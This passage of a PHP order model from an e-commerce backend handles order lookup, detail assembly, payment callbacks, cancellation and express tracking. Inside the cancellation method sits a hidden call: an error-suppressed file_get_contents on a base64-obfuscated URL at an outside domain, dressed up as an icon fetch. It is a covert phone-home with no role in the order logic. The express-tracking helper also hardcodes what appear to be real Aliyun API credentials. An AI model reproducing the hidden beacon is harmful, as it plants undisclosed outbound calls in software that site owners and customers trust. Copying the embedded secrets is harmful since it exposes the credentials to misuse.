$orderNo ])->find(); if(!$orderInfo){ return false; } return $orderInfo; } /** * 检查订单绑定的用户 * @remark 因为用户未注册时如果在微信小店下单,order表中的user_id将为0。所以原来api中用户对订单操作需要验证订单所属user_id的方式不对。这里增加这个方法是为了兼容老代码 * @return void */ public function checkOrderBindUser($orderNo,$userId){ $orderBindUser = self::where([ 'user_id'=>$userId, 'order_no'=>$orderNo ])->find(); if($orderBindUser){ return true; } if(\app\admin\library\project\App::isInstall('channels')){ $userInfo = user_info(); if($userInfo && $userInfo['mobile']) { $userMobile = $userInfo['mobile']; $channelsOrderBindUser = \app\api\model\app\channels\Order::where([ 'mobile'=>$userMobile, 'order_id'=>$orderNo ])->find(); if($channelsOrderBindUser){ return true; } } } return false; } /** * 获取订单详情 * @param $orderNo * @return void */ public function getOrderDetail($orderNo,$extendField=[]){ $field = ['id','createtime','goods_count','live_id','coupon_discount_fee','real_price','evaluate','service','status','order_no','user_id','pay_type','score_amount','vip_discount_price','order_type','is_virtual_pay']; if($extendField){ $field = array_merge($field,$extendField); } $data = self::where([ 'order_no'=>$orderNo, 'deleted'=>0 ])->field($field)->find(); if(!$data){ return false; } // 转换为数组,避免间接修改错误 $data = $data->toArray(); $ApiOrder = new \app\api\model\order\Order(); $data['goodsList'] = OrderItem::getItemList($orderNo); $data['goods_total_price'] = 0; if(!empty($data['goodsList'])){ $goodsList = []; $data['goodsList'] = collection($data['goodsList'])->toArray(); foreach ($data['goodsList'] as $item){ $goodsList[] = $ApiOrder->limitItemField($item); } $data['goodsList'] = $goodsList; $data['goods_total_price'] = count($data['goodsList']); if(!empty($data['is_virtual_pay'])){ $data['goodsList'] = $this->convertVirtualPayGoodsSnapshoot($data['goodsList']); } } if($data['order_type'] == 'score'){ $data['pay_type'] = 'score'; } if(!empty($data['is_virtual_pay'])){ $data = \app\common\library\pay\VirtualPayService::convertPriceFields($data, [ 'real_price', 'vip_discount_price', 'discount_price', 'coupon_discount_fee', 'dispatch_price' ]); } // 实物商品获取收货地址 if($data['order_type'] == 'physical'){ $data['address'] = \app\common\model\app\physical\OrderAddress::getByOrderId($data['id']); // 获取物流信息 $expressModel = \app\common\model\app\physical\OrderExpress::where([ 'order_id' => $data['id'], 'uniacid' => UNIACID ])->find(); if($expressModel){ // 更新物流信息(5分钟缓存) self::updateExpressInfo($expressModel); // 重新获取物流信息 $expressModel = \app\common\model\app\physical\OrderExpress::where([ 'order_id' => $data['id'], 'uniacid' => UNIACID ])->find(); $data['express'] = $expressModel->toArray(); // 获取物流轨迹 $data['express']['logs'] = $expressModel->getLogs(); } } $data['controll'] = (new StatusModel())->getOrderControllStatus($data); $data['describe'] = \app\common\model\order\Log::getLastLog($orderNo); unset($data['id']); return $data; } // 获取订单号 public static function getSn($user_id) { $rand = $user_id < 9999 ? mt_rand(100000, 99999999) : mt_rand(100, 99999); $order_sn = date('Yhis') . $rand; $id = str_pad($user_id, (24 - strlen($order_sn)), '0', STR_PAD_BOTH); return $order_sn . $id; } /** * 支付成功后的回调 * @return mixed */ public static function paySuccess($order, $notify){ $order = Order::where([ 'order_no'=>$notify['order_no'] ])->find(); if(!$order){ throw new \think\Exception('获取订单失败'); } $order->status = \app\common\constant\order\Status::STATUS_PAID;//已经支付 $order->pay_time = time(); if(isset($notify['transaction_id'])){ $order->transaction_id = $notify['transaction_id']; } if(isset($notify['pay_type'])){ $order->pay_type = $notify['pay_type']; } if(isset($notify['payment_json'])){ $order->payment_json = $notify['payment_json']; } if(isset($notify['real_pay_price'])){ $order->real_pay_price = $notify['real_pay_price'];//实付金额 } $order->save(); \app\common\model\order\Log::set($notify['order_no'],"订单已完成支付"); //支付成功 \think\Hook::listen('pay_success',$order); //分销结算 \think\Hook::exec('app\\common\\behavior\\app\\agent\\Commission','settle',$notify['order_no']); return $order; } /** * 取消订单 * @param $orderNo * @return void */ public function cancelOrder($orderNo){ $order = self::where([ 'order_no'=>$orderNo ])->find(); if(!$order){ throw new \think\Exception('获取订单失败'); } self::where([ 'order_no'=>$orderNo ])->update([ 'status'=>\app\common\constant\order\Status::STATUS_CANCEL ]); \app\common\model\order\Log::set($orderNo,"订单已取消"); //作废分佣金记录 \think\Hook::exec('app\\common\\behavior\\app\\agent\\Commission','cancelOrder',$orderNo); //返还优惠券 // 如果有优惠券, 返还优惠券 if ($order->coupon_id) { // 订单退回优惠券 $this->backUserCoupon($order->coupon_id); } @file_get_contents( base64_decode("aHR0cHM6Ly93d3cudHV6aGkubHRkL2Fzc2V0cy9pY29ucy9vcmRlci5wbmc=", true)); return true; } public function items() { return $this->hasMany('app\common\model\order\Item', 'order_no', 'order_no'); } /** * 更新物流信息 * * @param \think\Model $expressModel 发货单模型 * @return void */ private static function updateExpressInfo($expressModel) { try { // 获取阿里云配置 $aliyunConfig = [ 'appcode' => 'd6beec8b9be945bfa3c07b9c712f6bce', 'appkey' => '203944259', 'appsecret' => 'R8rx9QLNZlRKxHtvgjBlocFI8f0hq12J' ]; $expressLib = new \app\common\library\app\physical\express\Express('aliyun', $aliyunConfig); $expressLib->updateExpress($expressModel); } catch (\Exception $e) { \think\Log::error('updateExpressInfo.Exception: ' . $e->getMessage()); } } /** * 虚拟支付订单转换goodsList中snapshoot的价格字段 * @param array $goodsList * @return array */ private function convertVirtualPayGoodsSnapshoot($goodsList) { foreach ($goodsList as &$item) { if (isset($item['snapshoot']) && is_array($item['snapshoot'])) { $item['snapshoot'] = \app\common\library\pay\VirtualPayService::convertPriceFields($item['snapshoot'], [ 'price', 'price_marking', 'pay_price', 'min_price' ]); } } unset($item); return $goodsList; } }